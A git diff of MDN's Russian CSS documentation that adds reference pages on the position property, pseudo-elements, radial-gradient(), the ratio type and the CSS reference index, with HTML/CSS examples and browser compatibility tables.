  • Абсолютно позиционируемый элемент — это элемент, чьё {{cssxref('computed_value', 'вычисленное значение')}} position является absolute или fixed. {{cssxref('top')}}, {{cssxref('right')}}, {{cssxref('bottom')}} и {{cssxref('left')}} задают смещения от краёв {{cssxref('Containing_Block', 'содержащего блок элемента')}}. (Содержащий блок является предком, относительно которого расположен элемент.) Если элемент имеет поля, они добавляются к смещению. Элемент устанавливает новый контекст форматирования блока (BFC) для своего содержимого.
    • +
  • Элемент с липкой позицией — это элемент, у которого {{cssxref('computed_value', 'значение вычисленного')}} position является sticky. Он рассматривается как относительно позиционированный до тех пор, пока {{cssxref('Containing_Block', 'содержащий его блок')}} не пересечёт указанный порог (например, установка {{cssxref('top')}} в значение, отличное от auto) внутри его корня потока (или в контейнере, в котором он прокручивается), после чего он обрабатывается как «застрявший» до тех пор, пока не встретит противоположный край {{cssxref('Containing_Block', 'содержащего его блока')}}.
    • +
+ +

В большинстве случаев абсолютно cпозиционированные элементы, которые имеют {{cssxref('height')}} и {{cssxref('width')}} установленные в auto, имеют размер, соответствующий их содержимому. Тем не менее, незамещаемые, абсолютно cпозиционированные элементы можно сделать такими, чтобы они заполнили доступное вертикальное пространство, указав как {{cssxref('top')}}, так и {{cssxref('bottom')}}, и оставляя {{cssxref('height')}} неопределенным (то есть , auto). Ими также можно заполнить доступное горизонтальное пространство, указав как {{cssxref('left')}}, так и {{cssxref('right')}}, и оставляя {{cssxref('width')}} как auto.

+ +

За исключением только что описанного случая (абсолютно позиционированных элементов, заполняющих доступное пространство):

+ +
    +
  • Если указаны top и bottom (технически, не auto) — приоритет будет у top.
    • +
  • Если указаны left и right: приоритет будет у left, когда {{cssxref('direction')}} ltr (английский язык, горизонтальный японский и т. д.), приоритет будет у right, когда {{cssxref('direction')}} является rtl (персидский , Арабский, иврит и т. д.).
    • +
+ +

Синтаксис

+ +

Свойство position указывается как одно ключевое слово, выбранное из списка значений ниже.

+ +

Значения

+ +
+
static
+
Это значение позволяет элементу находиться в обычном его состоянии, расположенном на своем месте в документе. Свойства top, right, bottom, left и z-index не применяются к данному элементу. Это значение по умолчанию.
+
relative
+
Элемент позиционируется в соответствии с нормальным потоком документа, а затем смещается относительно себя на основе значений top, right, bottom и left. Смещение не влияет на положение любых других элементов; таким образом, пространство, заданное для элемента в макете страницы, такое же, как если бы позиция была static.
+
Это значение создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context','контекст наложения')}}, когда значение z-index не auto. Его влияние на элементы table-*-group, table-row, table-column, table-cell и table-caption не определено.
+
absolute
+
Элемент удаляется из обычного потока документов, и для элемента в макете страницы не создается пробела. Он расположен относительно его ближайшего относительно позиционированного предка, если таковой имеется; в противном случае он помещается относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}. Его конечная позиция определяется значениями top, right, bottom, и left.
+
Это значение создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}, когда значение z-index не auto. Поля абсолютно позиционированных коробок не {{cssxref('CSS_Box_Model/Mastering_margin_collapsing', 'сворачиваются')}} с другими полями.
+
fixed
+
Элемент выбивается из обычного потока документа, и для элемента в макете страницы не создается пространство. Он позиционируется относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}, установленного {{glossary("viewport")}}, за исключением случаев, когда один из его предков имеет свойство transform, perspective, или filter, установленное на что-то иное, кроме none (см. CSS Transforms Spec), и в этом случае этот предок ведет себя как содержащий блок. (Обратите внимание, что существуют несогласованности браузера с perspective и filter, способствующими содержанию формирования блоков.) Его конечная позиция определяется значениями top, right, bottom и left.
+
Это значение всегда создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. В печатных документах элемент помещается в одно и то же положение на каждой странице.
+
sticky
+
Элемент позиционируется в соответствии с нормальным потоком документа, а затем смещается относительно его ближайшего прокручивающего предка и {{cssxref('Containing_Block', 'содержащего блока')}} (ближайший родительский уровень блока), включая элементы, связанные с таблицей, на основе значений top, right, bottom, и left. Смещение не влияет на положение любых других элементов.
+
Это значение всегда создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. Обратите внимание, что липкий элемент «прилипает» к его ближайшему предшественнику, имеющему «механизм прокрутки» (созданный при overflow равном hidden, scroll, auto или overlay), даже если тот не является ближайшим фактически прокручивающим предком. Это эффективно препятствует любому «липкому» поведению (см. Github issue on W3C CSSWG).
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Относительное позиционирование

+ +

Относительно позиционированные элементы смещены на определенную величину от их обычной позиции в документе, но без смещения, влияющего на другие элементы. В приведенном ниже примере обратите внимание, как размещаются другие элементы, как если бы «Two» занимало пространство своего обычного расположения.

+ +

HTML

+ +
<div class="box" id="one">One</div>
+<div class="box" id="two">Two</div>
+<div class="box" id="three">Three</div>
+<div class="box" id="four">Four</div>
+
+ +

CSS

+ +
.box {
+  display: inline-block;
+  width: 100px;
+  height: 100px;
+  background: red;
+  color: white;
+}
+
+#two {
+  position: relative;
+  top: 20px;
+  left: 20px;
+  background: blue;
+}
+
+ +

{{ EmbedLiveSample('Relative_positioning', '600px', '200px') }}

+ +

Абсолютное позиционирование

+ +

Элементы, расположенные относительно друг друга, остаются в нормальном потоке документа. В противоположность этому, элемент с абсолютным позиционированием, выбивается из потока; таким образом, другие элементы располагаются без учёта абсолютных. Абсолютно позиционируемый элемент располагается относительно его ближайшего предка (который не является static). Если такого предка не существует, то абсолютный элемент позиционируется относительно ICB (начальный содержащий блок - см. также определение W3C), который содержит блок корневого элемента документа.

+ +

Простой пример:

+ +
<h1>Абсолютное позиционирование</h1>
+<p>Я базовый элемент уровня блока. Мои соседи сидят на новых строках ниже меня.</p>
+<p class="positioned">По умолчанию моя ширина 100% ширины родителя и я достиг такого же высокого уровня, как и весь дочерний контент. Наша общая ширина и высота - это наш контент+заполнение+ширина/высота границы.</p>
+<p>Мы отделены нашей маржой. Из-за развала края мы отделены шириной одного из наших полей, а не обоих.</p>
+<p>встроенные элементы <span>как этот</span> и <span>вот этот</span> будут сидеть в одной строке друг с другом и соседними текстовыми узлами, если в ней есть место. Переполнение встроенных элементов <span>перейдёт на новую строку, если это возможно, - как содержимое этого текста</span>, или просто перейдёт к новой строке, а если нет, то встанет, как это изображение:<img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p>
+
+ +
body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+  background: aqua;
+  border: 3px solid blue;
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: red;
+  border: 1px solid black;
+}
+
+.positioned {
+  position: absolute;
+  background: yellow;
+  top: 30px;
+  left: 30px;
+}
+
+ +

{{EmbedLiveSample('Absolute_positioning', '100%', 420)}}

+ +

Фиксированное позиционирование

+ +

Фиксированное позиционирование аналогично абсолютному, за исключением того, что блок, содержащий элемент, является начальным содержащим блоком, установленным в окне просмотра, если только у какого-либо предка не было transform, perspective, или свойства filter, отличное от none (см. CSS Transforms Spec), из-за чего этот предок занимает место элементов, содержащих блок. Это можно использовать для создания «плавающего» элемента, который остается в том же положении независимо от прокрутки. В приведенном ниже примере окно c id="one" фиксируется в 80 пикселях от верхней части страницы и в 10 пикселях слева. Даже после прокрутки оно остаётся в том же месте относительно окна просмотра.

+ +

HTML

+ +
<div class="outer">
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem aliquam, congue porttitor tortor.
+    Sed tempor nisl a lorem consequat, id maximus erat aliquet. Sed sagittis porta libero sed condimentum.
+    Aliquam finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus.
+  </p>
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem aliquam, congue porttitor tortor.
+    Sed tempor nisl a lorem consequat, id maximus erat aliquet. Sed sagittis porta libero sed condimentum.
+    Aliquam finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus.
+  </p>
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim.
+    Sed velit augue, pretium a sem aliquam, congue porttitor tortor. Sed tempor nisl a lorem consequat, id maximus erat aliquet.
+    Sed sagittis porta libero sed condimentum. Aliquam finibus lectus nec ante congue rutrum.
+    Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus. </p>
+  <div class="box" id="one">One</div>
+</div>
+
+ +

CSS

+ +
.box {
+  background: red;
+  width: 100px;
+  height: 100px;
+  margin: 20px;
+  color: white;
+}
+#one {
+  position: fixed;
+  top: 80px;
+  left: 10px;
+}
+.outer {
+  width: 500px;
+  height: 500px;
+  overflow: scroll;
+  padding-left: 150px;
+}
+
+ +

{{EmbedLiveSample('Fixed_positioning', '800px', '300px')}}

+ +

Липкое позиционирование

+ +

Липкое позиционирование можно рассматривать как гибрид относительного и фиксированного позиционирования. Липкий позиционированный элемент обрабатывается как относительно позиционированный до тех пор, пока он не пересечет заданный порог, после чего он будет считаться фиксированным, пока не достигнет границы его родителя. Например...

+ +
#one { position: sticky; top: 10px; }
+ +

... позиционирует элемент с id "one" относительно до тех пор, пока видовой экран не будет прокручен таким образом, чтобы элемент был меньше 10 пикселей от вершины. Помимо этого порога элемент будет зафиксирован на 10 пикселей сверху.

+ +
+

Общее использование для липкого позиционирования - для заголовков в алфавитном списке. Заголовок «B» появится чуть ниже элементов, начинающихся с «A», пока они не будут прокручиваться за кадром. Вместо того, чтобы скользить за кадром с остальной частью содержимого, заголовок «B» затем останется фиксированным в верхней части окна просмотра, пока все элементы «B» не будут прокручиваться на экране, и в этот момент он будет закрыт «C», заголовок и т. д.

+ +

Вы должны указать порог с по крайней мере одним из {{cssxref('top')}}, {{cssxref('right')}}, {{cssxref('bottom')}}, или {{cssxref('left')}} для того, чтобы липкое позиционирование могло вести себя так, как ожидалось. В противном случае он будет неотличим от относительного позиционирования.

+
+ +
+ +

HTML

+ +
<div>
+  <dl>
+    <dt>A</dt>
+    <dd>Andrew W.K.</dd>
+    <dd>Apparat</dd>
+    <dd>Arcade Fire</dd>
+    <dd>At The Drive-In</dd>
+    <dd>Aziz Ansari</dd>
+  </dl>
+  <dl>
+    <dt>C</dt>
+    <dd>Chromeo</dd>
+    <dd>Common</dd>
+    <dd>Converge</dd>
+    <dd>Crystal Castles</dd>
+    <dd>Cursive</dd>
+  </dl>
+  <dl>
+    <dt>E</dt>
+    <dd>Explosions In The Sky</dd>
+  </dl>
+  <dl>
+    <dt>T</dt>
+    <dd>Ted Leo & The Pharmacists</dd>
+    <dd>T-Pain</dd>
+    <dd>Thrice</dd>
+    <dd>TV On The Radio</dd>
+    <dd>Two Gallants</dd>
+  </dl>
+</div>
+
+ +

CSS

+ +
* {
+  box-sizing: border-box;
+}
+
+dl {
+  margin: 0;
+  padding: 24px 0 0 0;
+}
+
+dt {
+  background: #B8C1C8;
+  border-bottom: 1px solid #989EA4;
+  border-top: 1px solid #717D85;
+  color: #FFF;
+  font: bold 18px/21px Helvetica, Arial, sans-serif;
+  margin: 0;
+  padding: 2px 0 0 12px;
+  position: -webkit-sticky;
+  position: sticky;
+  top: -1px;
+}
+
+dd {
+  font: bold 20px/45px Helvetica, Arial, sans-serif;
+  margin: 0;
+  padding: 0 0 0 12px;
+  white-space: nowrap;
+}
+
+dd + dd {
+  border-top: 1px solid #CCC;
+}
+
+ +

{{EmbedLiveSample('Sticky_positioning', '500px', '300px')}}

+ +

Доступность

+ +

Убедитесь, что элементы, расположенные с absolute или fixed значением, не затеняют другой контент при увеличении страницы, увеличивая размер текста.

+ + + +

Производительность и доступность

+ +

Элементы прокрутки, содержащие fixed или sticky контент, могут вызвать проблемы с производительностью и доступностью. Когда пользователь прокручивает страницу, браузер должен перерисовать sticky или fixed контент в новом месте. В зависимости от содержимого, которое необходимо перерисовать, производительности браузера и скорости обработки устройства, браузер может не справиться с перерисовкой со скоростью 60 кадров в секунду, что вызывает проблемы с доступностью для людей с чувствительностью и раздражением для всех. Одним из решений является добавление {{cssxref ('will-change', 'will-change: transform')}} к позиционированным элементам для визуализации элемента на его собственном уровне, повышения скорости перерисовки и, следовательно, повышения производительности и доступности.

+ +

Характеристики

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКоммент
{{SpecName('CSS2.1', 'visuren.html#propdef-position', 'position')}}{{Spec2('CSS2.1')}}
{{SpecName('CSS3 Positioning','#position-property','position')}}{{Spec2('CSS3 Positioning')}}Добавляет значение свойства sticky
+ +

Совместимость с браузером

+ + + +

{{Compat("css.properties.position")}}

diff --git a/files/ru/web/css/pseudo-elements/index.html b/files/ru/web/css/pseudo-elements/index.html new file mode 100644 index 0000000000..74773b9b99 --- /dev/null +++ b/files/ru/web/css/pseudo-elements/index.html @@ -0,0 +1,102 @@ +--- +title: Псевдоэлементы +slug: Web/CSS/Pseudo-elements +tags: + - CSS + - Reference + - Псевдоэлементы + - Селекторы +translation_of: Web/CSS/Pseudo-elements +--- +
{{CSSRef}}
+ +

Псевдоэлемент в CSS — это ключевое слово, добавляемое к селектору, которое позволяет стилизовать определённую часть выбранного элемента. Например, псевдоэлемент {{ Cssxref("::first-line") }} может быть использован для изменения шрифта первой строки абзаца.

+ +
/* Первая строка каждого элемента <p>. */
+p::first-line {
+  color: blue;
+  text-transform: uppercase;
+}
+ +
+

Примечание: В отличие от псевдоэлементов, псевдоклассы могут быть использованы для стилизации элемента на основе его состояния.

+
+ +

Синтаксис

+ +
selector::pseudo-element {
+  property: value;
+}
+ +

В селекторе можно использовать только один псевдоэлемент. Он должен находиться после простых селекторов в выражении.

+ +
+

Примечание: Как правило, следует использовать двойное двоеточие (::) вместо одинарного (:). В этом состоит различие между псевдоклассами и псевдоэлементами. Однако, так как это различие не присутствовало в старых версиях спецификации W3C, большинство браузеров поддерживают оба синтаксиса для псевдоэлементов.

+
+ +

Список стандартных псевдоэлементов

+ +
+
    +
  • {{ Cssxref("::after") }}
    • +
  • {{ Cssxref("::before") }}
    • +
  • {{ cssxref("::cue")}}
    • +
  • {{ Cssxref("::first-letter") }}
    • +
  • {{ Cssxref("::first-line") }}
    • +
  • {{ Cssxref("::selection") }}
    • +
  • {{ Cssxref("::slotted") }}
    • +
  • {{ Cssxref("::backdrop") }} {{experimental_inline}}
    • +
  • {{ Cssxref("::placeholder") }} {{experimental_inline}}
    • +
  • {{ Cssxref("::marker") }} {{experimental_inline}}
    • +
  • {{ Cssxref("::spelling-error") }} {{experimental_inline}}
    • +
  • {{ Cssxref("::grammar-error") }} {{experimental_inline}}
    • +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
БраузерНачиная с версииПоддерживает
Internet Explorer8.0:pseudo-element
9.0:pseudo-element ::pseudo-element
Firefox (Gecko)1.0 (1.0):pseudo-element
1.0 (1.5):pseudo-element ::pseudo-element
Opera4.0:pseudo-element
7.0:pseudo-element ::pseudo-element
Safari (WebKit)1.0 (85):pseudo-element ::pseudo-element
+ +

См. также

+ + diff --git a/files/ru/web/css/radial-gradient()/index.html b/files/ru/web/css/radial-gradient()/index.html new file mode 100644 index 0000000000..3d9a247da7 --- /dev/null +++ b/files/ru/web/css/radial-gradient()/index.html @@ -0,0 +1,301 @@ +--- +title: radial-gradient() +slug: Web/CSS/radial-gradient() +translation_of: Web/CSS/radial-gradient() +--- +
{{CSSRef}}
+ +

CSS функция radial-gradient() создает картинку состоящую из последовательных переходов между двумя и более цветами, которые исходят из заданного центра. Они могут принимать форму круга или эллипса. Результатом функции будет объект типа {{cssxref("<gradient>")}}, который является расширением типа {{cssxref("<image>")}}.

+ +
{{EmbedInteractiveExample("pages/css/function-radial-gradient.html")}}
+ + + +

Как и любой градиент, радиальный градиент не имеет внутренних размеров, тоесть заданных или предпочитаемых размеров, как и заданного коэффициента соотношения сторон. Его итоговый размер будет соответствовать размеру элемента к которому он применен.

+ +

Чтобы создать повторяющийся радиальный градиент, который будет заполнять контейнер, необходимо использовать функцию {{cssxref("repeating-radial-gradient")}}.

+ +

Поскольку <gradient>ы относятся к типу <image>, они могут быть использованы только там где используется тип <image>. По этой причине radial-gradient() не будет работать совместно с {{Cssxref("background-color")}} и другими свойствами, которые используют тип {{cssxref("<color>")}}.

+ +

Композиция свойства

+ +

Радиальнй градиент задается позицией центра, конечной формой, и двумя или более точками изменения цвета.

+ +

Чтобы создать плавный градиент, функция radial-gradient() рисует серию концентрических форм исходящих из центра к краям формы градиента (и потенциально далее за его пределы). Конечная форма может быть как кругом так и эллипсом.

+ +

Точки изменения цвета расположены на виртуальном луче градиента, который расширяется горизонтально направо. Позиция точек заданных в процентах расчитывается относительно пересечения конечной формы таким лучем, что является 100%. Цвет каждой такой формы задается цветом на пересечении луча градиента и этой формы.

+ +

Синтаксис

+ +
/* Градиент в центре контейнера,
+   переход от красного к синему и после к зеленому */
+radial-gradient(circle at center, red 0, blue, green 100%)
+ +

Параметры

+ +
+
{{cssxref("<position>")}}
+
Позицию начала градиента можно рассматривать как {{cssxref("background-position")}} или {{cssxref("transform-origin")}}. По умолчанию позиция равна center.
+
<shape>
+
Форма градиента. Может принимать значение circle (подразумевается что формой является круг с постоянным радиусом) или ellipse (форма является эллипсом, выровненным по оси). По умолчанию имеет значение ellipse.
+
<extent-keyword>
+
Параметр определяющий размер конечной формы. Возможные значения:
+
+ + + + + + + + + + + + + + + + + + + + + + + +
ЗначениеОписание
closest-sideКонечная форма градиента соответствует стороне прямоугольника, ближайшей к его центру (для окружностей), или обеим вертикальным и горизонтальным сторонам, ближайшим к центру (для эллипсов).
closest-cornerКонечная форма градиента определяется таким образом, чтобы он точно соответствовал ближайшему углу окна от его центра.
farthest-sideСхоже с closest-side, кроме того что, размер формы определяется самой дальней стороной от своего центра (или вертикальных и горизонтальных сторон)
farthest-cornerКонечная форма градиента определяется таким образом, чтобы он точно соответствовал самому дальнему углу прямоугольника от его центра.
+ +
+

Заметка: Ранние реализации этой функции включают в себя другие значения свойства (cover and contain) которые являются синонимами farthest-corner и closest-side, соответственно. Рекоментуется использовать только стандартные значения, так как некоторые реализации уже перестали использовать старые значения свойств.

+
+
+
<color-stop>
+
{{cssxref("<color>")}} значение цвета в точке изменения цвета за которым следует необязательный параметр позиции ({{cssxref("<percentage>")}} или {{cssxref("<length>")}} вдоль оси градиента). Значения 0%, или 0 представляют центр градиента; значение 100% представляет собой виртуальное пересечение конечной формы с виртуальным лучем граддиента. Процентные значения будут линейно расположены на луче градиента.
+
+ +

Синтаксис

+ +
radial-gradient(
+  [ [ circle || <length> ]                         [ at <position> ]? , |
+    [ ellipse || [ <length> | <percentage> ]{2} ]  [ at <position> ]? , |
+    [ [ circle | ellipse ] || <extent-keyword> ]   [ at <position> ]? , |
+    at <position> ,
+  ]?
+  <color-stop> [ , <color-stop> ]+
+)
+где <extent-keyword> = closest-corner | closest-side | farthest-corner | farthest-side
+  и <color-stop>     = <color> [ <percentage> | <length> ]?
+
+ +

Примеры

+ +

Простой градиент

+ + + +
.radial-gradient {
+  background-image: radial-gradient(cyan 0%, transparent 20%, salmon 40%);
+}
+ +

{{EmbedLiveSample('Простой_градиент', 120, 120)}}

+ +

Градиент со смещенным центром

+ + + +
.radial-gradient {
+  background-image: radial-gradient(farthest-corner at 40px 40px,
+      #f35 0%, #43e 100%);
+}
+ +

{{EmbedLiveSample('Градиент_со_смещенным_центром', 240, 120)}}

+ +
+

Заметка: Дополнительные примеры можно найти в Использование CSS градиентов.

+
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('CSS3 Images', '#radial-gradients', 'radial-gradients()')}}{{Spec2('CSS3 Images')}}Initial definition.
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Стандартное использование (в {{cssxref("background")}} и {{cssxref("background-image")}}){{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}}[1]
+ {{CompatGeckoDesktop("16")}}		10.0 (534.16){{property_prefix("-webkit")}}[2]10.0[3]11.60{{property_prefix("-o")}}5.1{{property_prefix("-webkit")}}[2]
Использование в {{cssxref("border-image")}}{{CompatGeckoDesktop("29")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Использование на любых других свойствах работающих с типом {{cssxref("<image>")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Устаревший webkit синтаксис {{non-standard_inline}}{{CompatNo}}3{{property_prefix("-webkit")}}[2]{{CompatNo}}{{CompatNo}}4.0{{property_prefix("-webkit")}}[2]
at синтаксис (финальный стандартизованный вариант){{CompatGeckoDesktop("10")}}{{property_prefix("-moz")}}[1]
+ {{CompatGeckoDesktop("16")}}[4]		2610.011.60{{property_prefix("-o")}}[2]
+ 2.12		{{CompatNo}}
Interpolation hints/gradient midpoints (точки заданные в процентах без значения цвета){{CompatGeckoDesktop("36")}}4027
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Стандартное спользование (в {{cssxref("background")}} и {{cssxref("background-image")}}){{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.2")}}{{property_prefix("-moz")}}[1]
+ {{CompatGeckoMobile("16")}}		10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Использование в {{cssxref("border-image")}}{{CompatVersionUnknown}}{{CompatGeckoMobile("29")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Использование на любых других свойствах работающих с типом {{cssxref("<image>")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Устаревший webkit синтаксис {{non-standard_inline}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
at синтаксис (финальный стандартизованный вариант){{CompatUnknown}}{{CompatGeckoMobile("10")}}{{property_prefix("-moz")}}[1]
+ {{CompatGeckoMobile("16")}}		10{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Firefox 3.6 синтаксис - ранний реализованный вариант с префиксом. До Firefox 36, Gecko не применял градиенты на расширенное цветовое пространство, так как это приводило к неожиданному появлению серого оттенка при использовании прозрачности. Начиная с Firefox 42, версии градиентов с префиксом могую быть отключены установкой layout.css.prefixes.gradients to false.

+ +

[2] Ранний синтаксис Webkit с префиксом. WebKit с версии 528 поддерживает устаревшый вариант -webkit-gradient(radial,…). Смотрите также текущую поддержку радиальных градиентов.

+ +

[3] Internet Explorer от 5.5 до 9.0 поддерживают собственный фильтр filter: progid:DXImageTransform.Microsoft.Gradient().

+ +

[4] В дополнении к поддержке без префикса, Gecko 44.0 {{geckoRelease("44.0")}} добавил поддержку версии с префиксом -webkit по соображениям обратной совместимости с настройкой layout.css.prefixes.webkit, установленной по умолчанию как false. Начиная с Gecko 49.0 {{geckoRelease("49.0")}} используется установка по умолчанию как true.

+ +

Сноски к Quantum CSS

+ +
    +
  • Gecko имеет долгоиграющий баг благодаря которому значения вроде radial-gradient(circle gold,red) будут работать, даже несмотря на то, что пропущена запятая между circle и gold ({{bug(1383323)}}). Новый parallel CSS движок от Firefox (также известный как Quantum CSS или Stylo, планируемый к релизу в Firefox 57) исправляет этот баг.
    • +
  • Также в Gecko выражения с {{cssxref("calc")}} считаются недействительными — значени не валидно при использовании в  radial-gradient() ({{bug(1376019)}}). Новый parallel CSS движок от Firefox (также известный как Quantum CSS или Stylo, планируемый к релизув Firefox 57) исправляет этот баг.
    • +
+ +

Смотрите так же

+ + diff --git a/files/ru/web/css/ratio/index.html b/files/ru/web/css/ratio/index.html new file mode 100644 index 0000000000..1167ae3f29 --- /dev/null +++ b/files/ru/web/css/ratio/index.html @@ -0,0 +1,89 @@ +--- +title: +slug: Web/CSS/ratio +tags: + - медиа-запрос + - тип данных + - формат экрана +translation_of: Web/CSS/ratio +--- +
{{CSSRef}}
+ +

Тип данных CSS <ratio> используется для описания соотношений сторон в медиа-запросах, обозначает соотношения между двумя безразмерными значениями.

+ +

Синтаксис

+ +

Тип данных <ratio> состоит из строго положительного  {{cssxref("<integer>")}}, за которым следует слэш  ('/', Unicode U+002F SOLIDUS) и второй строго положительный {{cssxref("<integer>")}}. Пробелы до и после черты не обязательны. Первое число представляет ширину, а второе высоту.

+ +

Примеры

+ +

Использование в медиа-запросах

+ +
@media screen and (min-aspect-ratio: 16/9) { ... }
+ +

Общее соотношение сторон

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 RatioUsage
Ratio4_3.png4/3Традиционный TV-формат 20th века.
Ratio16_9.png16/9Современный "широкоэкранный" TV-формат.
Ratio1_1.85.png185/100 = 91/50
+ (нецелые делимые и делители не допускаются)		Наиболее распространенный видео-формат в 1960-х.
Ratio1_2.39.png239/100
+ (нецелые делимые и делители не допускаются)		"Широкоэкранный," анаморфный видео-формат.
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Media Queries', '#values', '<ratio>')}}{{Spec2('CSS3 Media Queries')}}Первое определение.
+ +

Поддержка браузерами

+ + + +

{{Compat("css.types.ratio")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/reference/index.html b/files/ru/web/css/reference/index.html new file mode 100644 index 0000000000..2a32f7019f --- /dev/null +++ b/files/ru/web/css/reference/index.html @@ -0,0 +1,189 @@ +--- +title: Руководство по CSS +slug: Web/CSS/Reference +tags: + - CSS + - CSSOM + - DOM-CSS + - Стили +translation_of: Web/CSS/Reference +--- +

Данный справочник по CSS перечисляет все стандартные свойства, псевдоклассы и псевдоэлементы, @-правила, единицы измерения и селекторы CSS в алфавитном порядке. Справочник позволит вам быстро найти подробную информацию о каждом из них. Он не только перечисляет свойства CSS 1 и CSS 2.1, но является и справочником по CSS3 со ссылками на описание каждого стандартизированного или уже стабилизированного свойства CSS3. Также включает в себя краткое руководство DOM-CSS / CSSOM.

+ +

Заметьте, что определения CSS-правил полностью (ASCII)  тексто-ориентированы, в то время как определения правил DOM-CSS / CSSOM объектно-ориентированы.

+ +

Смотрите также  Mozilla CSS Extensions для Gecko-специфичных свойств с префиксом -moz; и  WebKit CSS Extensions для WebKit-специфичных свойств. Смотрите  Обзор CSS-префиксов для разных браузеров от Peter Beverloo для всех свойств с префиксами.

+ +

Базовый синтаксис правил

+ +

Имейте в виду, что любая синтаксическая ошибка в задании правил сделает некорректным всё правило.

+ +

Стили

+ +
selectorlist { property: value; [more property:value; pairs] }
+
+...где selectorlist: selector[:pseudo-class] [::pseudo-element] [, more selectorlists]
+
+
+Смотрите списки селекторов, псевдоэлементов и псевдоклассов ниже.
+
+
+ +

Примеры

+ +
strong { color: red; }
+div.menu-bar li:hover > ul { display: block; }
+
+ +

Больше о примерах: #1, #2

+ +

@-правила

+ +

Так как у них есть много различных структурных форматов, смотрите нужный синтаксис @-правил.

+ +

Справочный указатель

+ +
{{CSS_Ref}}
+ +

Селекторы

+ +
    +
  • Базовые селекторы + +
    • +
  • Комбиционные + +
    • +
  • Псевдоэлементы    (больше информации) +
      +
    • {{ Cssxref("::after") }}
      • +
    • {{ Cssxref("::before") }}
      • +
    • {{ Cssxref("::first-letter") }}
      • +
    • {{ Cssxref("::first-line") }}
      • +
    • {{ Cssxref("::selection") }}
      • +
    • {{ Cssxref("::backdrop") }}
      • +
    • {{ Cssxref("::placeholder") }} {{experimental_inline}}
      • +
    • {{ Cssxref("::marker") }} {{experimental_inline}}
      • +
    • {{ Cssxref("::spelling-error") }} {{experimental_inline}}
      • +
    • {{ Cssxref("::grammar-error") }} {{experimental_inline}}
      • +
    +
    • +
  • Псевдоклассы    (больше информации) +
      +
    • {{ Cssxref(":active") }}
      • +
    • {{ cssxref(':any')}}
      • +
    • {{ Cssxref(":checked") }}
      • +
    • {{ Cssxref(":default") }}
      • +
    • {{ Cssxref(":dir", ":dir()")}}
      • +
    • {{ Cssxref(":disabled") }}
      • +
    • {{ Cssxref(":empty") }}
      • +
    • {{ Cssxref(":enabled") }}
      • +
